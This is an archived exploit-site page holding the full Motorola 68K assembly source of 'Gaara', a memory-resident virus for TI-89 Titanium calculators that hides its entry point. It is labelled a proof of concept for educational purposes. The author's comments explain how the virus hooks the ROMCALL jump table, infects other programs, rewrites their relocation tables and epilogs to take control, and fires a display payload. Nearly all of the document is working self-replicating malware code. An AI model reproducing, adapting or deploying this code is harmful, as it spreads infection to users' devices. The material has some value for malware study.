ignore security and it'll go away

ti89_gaara.asm.txt

ti89_gaara.asm.txt
Posted May 22, 2007
Authored by Piotr Bania | Site piotrbania.com

Gaara is world's first resident entry-point-obscuring virus for ti89 Titanium calculators. Written fully in Motorola 68K assembly. For educational purposes only.

tags | virus
MD5 | 107cc4ce090ac29830113f6be8fc6f4a

ti89_gaara.asm.txt

Change Mirror Download
; #www.piotrbania.com/all/ti89/ti89_gaara.asm#
;
;
;
;
; ÛÛÛ
; ÛÛÛÛÛÛ
; ÛÛÛÛÛÛÛ
; ÛÛ ÛÛÛÛ
; ÛÛÛ
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; ÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; ÛÛÛÛ ÛÛÛÛÛÛÛÛÛ
; ÛÛÛÛ
; ÛÛÛÛ
; ÛÛÛÛÛÛÛ
; ÛÛÛÛÛÛÛÛ
; ÛÛÛÛÛÛÛÛ
; ÛÛÛÛÛÛÛÛ
; ÛÛ ÛÛÛÛÛ ÛÛÛ
; ÛÛÛ ÛÛÛ ÛÛÛÛ ÛÛ
; ÛÛÛ ÛÛÛ ÛÛÛ ÛÛ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛÛÛ ÛÛÛ
; ÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛ ÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛ
; ÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛÛ ÛÛÛ ÛÛÛÛ ÛÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛÛ
; ÛÛÛÛÛÛÛÛ ÛÛ ÛÛÛÛÛ ÛÛ ÛÛÛÛ ÛÛ ÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛ ÛÛÛÛ
; ÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛ ÛÛÛÛ ÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛ ÛÛÛÛ
; ÛÛÛÛÛÛ pb! ÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ
; ÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛ
; ÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛ
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛÛÛÛÛ
; t89.ÛÛÛÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛ ÛÛ ÛÛ
;
;
; by Piotr Bania
; http://www.piotrbania.com
;
;
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Û DISCLAIMER Û
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; Author takes no responsibility for any actions with provided informations or
; codes. The copyright for any material created by the author is reserved. Any
; duplication of codes or texts provided here in electronic or printed
; publications is not permitted without the author's agreement.
;
;
;
;
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Û AUTHOR NOTES Û
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
;
; First of all this little piece of code was done _only_ for fun and as an
; proof of concept code. When i was writting this thing, i thought it would
; be the first world's calculator virus, but one guy contacted me and it
; seems it is the second one. Although it seems it is still the FIRST WORLD'S
; resident/entry point obscuring calculator virus :) This code was written
; in couple of days (each hour each day), it took me few hours to learn main
; things about Motorolla 68K assembly. I wasnt reviewing the code for optimization
; purposes, so well it should be heavily unoptimized at all. Now lets take a
; look of Gaara briefing:
;
; Name: ti89/ti89i.Gaara
; Tested on: TI89 Titanium HW3 AMS 3.10; (maybe other calcs are also
; suitable - dunno)
; Size: 501 bytes
; Features:
; + Memory Resident Virus
; + Entry Point Obscuring
; + No multiple infections
; + Repairs/Moves the host relocation table
; + Appends itself to end of file
; + Leaves the marker
; + Payload
;
;
; ÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Û Residency Û
; ÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; When i was coding this little thingie i thought it would be fun
; if i could make this one resident. There are two main ways of making
; the code resident here. Lets assume we want to take over some ROMCALL.
; This could be done in two scenarios:
; 1) change the ROMCALL jump table offset and then change the offset
; of specific ROMCALL
;
; 2) modify the offset of specific ROMCALL
;
; Of course as for first look, the second one looks more easier and effective.
; But the problem is the ROMCALL jump table resides in FlashROM which is write-
; -protected (there exist some protection scheme, which disables the writting
; to this memory region). Although as i showed in the other document
; "flashrom_protection.asm" this protection can be disabled anyway. Of course
; the next bad thing about this method is that you can't just simply write to FlashROM
; etc. etc. But the main reason i have choosen the first method is "stability" itself.
; The first method bad point is that it needs to allocate enough memory to handle
; all the ROMCALL offsets so its about ~6200 bytes of additonal heap memory which
; we need to reserve.
;
; Our infection procedure, is executed when any program tries to execute
; SymFindNext function, via using the ROMCALL jump table offsets. The SymFindNext
; function finds the next symbol entry in the VAT table, if found symbol is
; infectable the virus proceeds with the infection process.
;
;
;
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Û Entry Point Obscuring Û
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; Well the idea behind this idea is not to execute the virus directly
; from the entrypoint of the host. So here's the main idea about this one.
; It seems that TI-GCC generates a const EPILOG (just like mov esp,ebp/pop ebp/ret
; by C compilers on the x86 platforms.)
;
; Here's the EPILOG looks as follows:
;
; ----------------------------------
; unlk a6 : 4E 5e
; rts : 4E 75
; ----------------------------------
;
; As you can see, we have 4 bytes here, which means it is enough to
; make some BRA/BSR execution flow - so that's what suits us.
; I have decided to use BRA here, since it doesn't mess with the stack
; and we are able to return directly to the host by executing the overwritten
; instructions.
;
; Well, here the first EPILOG found will be overwritten, and if its not found
; the virus will not execute at all. Anyway this process can be more extened
; for example the found EPILOG can be overwritted based on some random numbers.
; Moreover you can even make your own disassembler and then you are free to
; change any suitable instruction you want, but even if we consider the size
; of this thing i have better things to do then writting it :)
;
;
;
; ÛÛÛÛÛÛÛÛÛÛÛ
; Û Payload Û
; ÛÛÛÛÛÛÛÛÛÛÛ
;
; If the random number obtained from the programmable timer
; is equal to 77h, it will clear the calculator screen and
; display "t89.Gaara" string.
;
;
;
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
; Û Last words Û
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
;
; I hope you learnt something by reviewing this code. Of course
; the dectection of this one should be pretty easy since even though
; it uses some basic EPO, the body of the virus is constans, and it
; leaves the standalone marker, so its damn easy recognizable.
; Who knows maybe i left it specially :)
;
; So it seems that's all, and now for you all i will sing some
; song from my beloved Naruto series :)
;
; ...
; dakara daiji na mono wa itsumo
; katachi no nai mono dake
; te ni iretemo nakushitemo
; kizukanumama
;
; sousa kanashimi wo yasashisa ni
; jibun rashisa wo chikara ni
; kiminara kitto yareru shinjite ite
; mou ikkai mou ikkai
; mou ikkai mou iikai?
;
;
;
; ENDOFTRANSSMISION-NO-JUTSU!
;
;
;
; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ



xdef _ti89
xdef _main
xdef _nostub
include "os.h"



; -----------------------------------------
; little modified ROM_CALL macro
; Args:
; 2 - ROM FUNCTION
; 1 - rom jump table base
; Note: a0 is modified anyway
; -----------------------------------------
ROMC MACRO
move.l \2*4(\1),a0
jsr (a0)
ENDM


ZEROCMP MACRO
move.l a5,d0
tst.l d0
beq \1
ENDM


ASM_TAG equ $F3
ROMC_TABLE_SIZE equ $1838 ; ROM CALL jump table size (~)


SYM_ENTRY.name equ 0
SYM_ENTRY.compat equ 8
SYM_ENTRY.flags equ 10
SYM_ENTRY.hVal equ 12
SYM_ENTRY.sizeof equ 14




_main:
nop ; pad
nop

movem.l a0-a6/d0-d7,-(a7) ; pushad
move.l $C8,a4 ; a4 = ROMCALL jump table

bsr installation_check ; are we already installed?
tst.l d0
beq check_payload

bsr hook_the_callz

check_payload:
; is it payload time? (uses the programmable timer data)
move.b $600017,d0
cmp.b #$77,d0
beq payload



exit:
; is it the first generation?
lea first_gen(PC),a1
tst.b (a1)
bne first_genx

movem.l (a7)+,a0-a6/d0-d7 ; restore the registers
unlk a6 ; face it boo, till your face get blue!
rts


first_genx:
movem.l (a7)+,a0-a6/d0-d7 ; restore the registers
rts

payload: ; notice the user Gaara is here
ROMC a4,ClrScr
move.w #1,-(a7)
lea marker(PC),a1
move.l a1,-(a7)
clr.w -(a7)
move.w #55,-(a7)
ROMC a4,DrawStr
add #10,a7
bra exit


; ------------------------------------------------------------
; INSTALLATION_CHECK
; ------------------------------------------------------------
; Functions checks if we are already resident.
; ------------------------------------------------------------
; ON ENTRY:
; * a4 - ROMCALL jump table
; ON EXIT:
; * d0 = 0 if already installed
; ------------------------------------------------------------

installation_check:
move.l $C8,d0
and.l #$E00000,d0
rts



; ------------------------------------------------------------
; HOOK_THE_CALLZ
; ------------------------------------------------------------
; Well first of all i was thinking about modifing the original
; AMS on the fly. Of course this is not an easy task since the
; AMS resides inside of FLASHROM, which is write-protected.
; Anyway here's another method i found. It is based on relocating
; the ROMCALL jump table ptr, it seems it is an easy task but
; the main limitation is that it requires about 6200 bytes of
; free space for storing the original ROMCALL jump table there.
; -------------------------------------------------------------
; ON ENTRY:
; * a4 - ROMCALL jump table ptr
; -------------------------------------------------------------
; ON EXIT:
; * a5 - (0 if fucked)
; -------------------------------------------------------------

hook_the_callz:
; store the old ptrs
lea old_SymFindNext(PC),a0
move.l SymFindNext*4(a4),(a0)

; make a clean copy of ROMCALL table
move.l #ROMC_TABLE_SIZE,d7
move.l a4,a2
bsr create_mem_region
ZEROCMP hook_error
move.l a5,a6 ; a6 = new ROMCALL table

move.l #end_gaara-_main,d7
lea _main(PC),a2
bsr create_mem_region
ZEROCMP hook_error
; a5 = virus body // new SymFindNext

; modify the SymFindNext address
add.l #hook_SymFindNext-_main,a5
move.l a5,SymFindNext*4(a6)

; modify the ROMCALL jump table ptr
bclr.b #2,$600001
move.l a6,$C8
bset #2,$600001


hook_done:
rts


hook_error:
sub.l a5,a5
rts



; ------------------------------------------------------------
; CREATE_MEM_REGION
; ------------------------------------------------------------
; Allocates a heap region for hooking procedures and copies
; the hooking procedure there.
; ------------------------------------------------------------
; ON ENTRY:
; * a4 - ROMCALL jump table ptr
; * d7 - size to allocate
; * a2 - src
; ON EXIT:
; * a5 - heap memory block ptr (0 if block is fucked)
; ------------------------------------------------------------
create_mem_region:
move.l d7,-(a7)
ROMC a4,HeapAllocHigh
addq #4,a7
tst.w d0
beq no_mem
move.w d0,-(a7)
ROMC a4,HeapDeref ; get the heap block ptr (warning: this may return garbage if the handle is zero
; so take care of d0 from HeapAllocHigh
addq #2,a7
move.l a0,a5 ; a5 = a0 = heap block ptr

copy_mem:
move.b (a2)+,(a0)+
dbf d7,copy_mem

create_mem_ret:
rts

no_mem:
sub.l a5,a5
rts


; ------------------------------------------------------------
; hook_SymFindNext
; ------------------------------------------------------------
; The body of hooked SymFindNext
; ------------------------------------------------------------
hook_SymFindNext:

; firstly execute the orginal one to obtain SYM_ENTRY struct
move.l old_SymFindNext(PC),a0
jsr (a0)


movem.l a0-a6/d0-d7,-(a7) ; pushad
move.l $C8,a4 ; a4 = ROMCALL jump table

; here: a0 - ptr to SYM_ENTRY struct
move.l SYM_ENTRY.flags(a0),d0 ; d0 = sym_entry flags
andi.w #$06C8,d0 ; ~SF_ARCHIVED | SF_TWIN | SF_FOLDER | SF_OVERWRITTEN | SF_LOCKED
bne back2caller

clr.l d6
move.w SYM_ENTRY.hVal(a0),d6 ; store handle for later use (d6)

; move.w d6,-(a7)
; ROMC a4,HeapUnlock
; addq #2,a7
; tst.w d0
; beq back2caller

move.w d6,-(a7); target handle
ROMC a4,HeapDeref ; get the heap block ptr
addq #2,a7
; a0 = heap block ptr (the victim entrypoint offset 0x56)
sub.l d5,d5
move.w (a0),d5 ; d4 = asm program size not including the size-word
move.l d5,d2
move.l a0,a2

; lets check if the file is already infected
; sweet EVEN motorolla blee

scan_file:
cmp.b #$47,(a2)+ ; 'G'?
bne scan_run
cmp.b #$41,(a2) ; 'A'?
bne scan_run
addq.l #1,a2
cmp.b #$41,(a2) ; 'A'?
beq back2caller
sub.l #1,a2

scan_run:
dbf d2,scan_file

lea 1(a0,d5.l),a3 ; a3 = ptr to end of file
cmp.b #ASM_TAG,(a3) ; is this an ASM proggie? (although it seems pure ASM programs
; do not have this marker at all :) *grin*
bne back2caller ; nope, return

; ------------------------------------------------------------
; at this point if the heap relocation stuff will not cause any problems
; file should be infected
;
; Summary:
; * a3 - ptr to end of file
; * a0 - ptr to begining of the file
; * d6 - handle
; * d5 - program size (not including the size word)
; ------------------------------------------------------------

move.l d5,d7
add.w #end_gaara-_main,d7
addq.w #2,d7 ; + variablesize entry

cmp.w d7,d5 ; oops size overflow
bgt back2caller


move.l d7,-(a7)
move.w d6,-(a7)
ROMC a4,HeapRealloc ; realloc the block
addq #6,a7
tst.w d0
beq back2caller ; reallocation failed :(

move.w d0,-(a7)
ROMC a4,HeapDeref ; get the heap block ptr
addq #2,a7



; now a0 = ptr to rellocated block
move.l a0,a3 ; a0 = a3 = new file heap block
subq.w #2,d7 ; without the "variablesize"
move.w d7,(a0)+ ; update the size entry (host_size+virus_size)

lea 1(a0,d5.l),a1 ; now a1 = end of old file (ASM_TAG)
add.l d7,a0 ; a0 = end of heap block

move.b #ASM_TAG,-(a0) ; store the ASM_TAG
subq.l #2,a1
move.l a1,a5

; now we should take care of the damn relocations - the idea is to move
; the relocation table to the end of the heap block, so it will be now placed
; after the virus code, and it will still work. The relocation tables comes
; before the ASM_TAG and it ends with two zero bytes.
;
; Why there are only byte-requests (instead of move.w/move.l bla bla)?
; on 68k an word or long-word access to an odd address causes Address Error
; - stay cool man.



process_relocs:
tst.b -(a5)
bne relocs_go
tst.b -(a5)
beq done_relocs
addq.l #1,a5
relocs_go:
subq.l #1,a5
move.b -(a1),-(a0)
move.b -(a1),-(a0)
bra process_relocs ; continue until the next word is not null

done_relocs:
move.b #00,-(a0) ; end of relocations
move.b #00,-(a0)

lea first_gen(PC),a2 ; this is no longer first gen
move.b #0,(a2)


subq.l #2,a1 ; a1 = end of the old file body without the relocations
move.l a1,a2 ; this is also begining of our carrier
; copy Sabaku no Gaara there.
lea _main(PC),a4
move.l #end_gaara-_main,d3

sabaku_soso:
move.b (a4)+,(a1)+
dbf d3,sabaku_soso


; ------------------------------------------------------------
; Time for little EPO:
;
; It seems this is the EPILOG for C proggies compiled with TIGCC
; EPILOG:
; unlk a6 ; - 4E 5e
; rts ; - 4E 75
;
; so we have 4 bytes we could potencialy overwrite with a
; non-conditional "jump", with bra or bsr :) Generally
; bra should be enough, since it doesnt mess with the stack
; and moreover we are able to flow back by "running" the orignal
; instructions "in buffer."
; ------------------------------------------------------------
; At this point:
; * a3 - heap block ptr
; * d5 - old file size
; * a2 - ptr to virus body
; ------------------------------------------------------------

addq.l #2,a3 ; pass the variable_size

scan_for_epilog: ; crazy makin' freaky sound.
cmp.b #$4e,(a3)+
bne repeat_scan
cmp.b #$5e,(a3)
bne repeat_scan
addq.l #2,a3
cmp.b #$75,(a3)
beq found_epilog
subq.l #2,a3

repeat_scan:
dbf d5,scan_for_epilog
bra back2caller ; no epilog, no virus execution :(


found_epilog:
sub.l #3,a3 ; a3 = place with epilog
sub.l a3,a2
subq.w #2,a2 ; offset to jump

move.b #$60,(a3)+ ; store BRA
move.b #00,(a3)+
move.w a2,(a3)


back2caller:
movem.l (a7)+,a0-a6/d0-d7 ; popad
rts



;hook_SymFindNext_orginal:
;dc.b $4E,$F9 ; hardcoded 68k jump

old_SymFindNext dc.l 0
hook_SymFindNext_end dc.w 0
first_gen dc.b 1

marker dc.b "t89.GAARA " ; marker
end_gaara: dc.w 0


end:

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2017

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    15 Files
  • 2
    Oct 2nd
    16 Files
  • 3
    Oct 3rd
    15 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    11 Files
  • 6
    Oct 6th
    6 Files
  • 7
    Oct 7th
    2 Files
  • 8
    Oct 8th
    1 Files
  • 9
    Oct 9th
    13 Files
  • 10
    Oct 10th
    16 Files
  • 11
    Oct 11th
    15 Files
  • 12
    Oct 12th
    23 Files
  • 13
    Oct 13th
    13 Files
  • 14
    Oct 14th
    12 Files
  • 15
    Oct 15th
    2 Files
  • 16
    Oct 16th
    16 Files
  • 17
    Oct 17th
    16 Files
  • 18
    Oct 18th
    15 Files
  • 19
    Oct 19th
    10 Files
  • 20
    Oct 20th
    7 Files
  • 21
    Oct 21st
    4 Files
  • 22
    Oct 22nd
    2 Files
  • 23
    Oct 23rd
    10 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2016 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close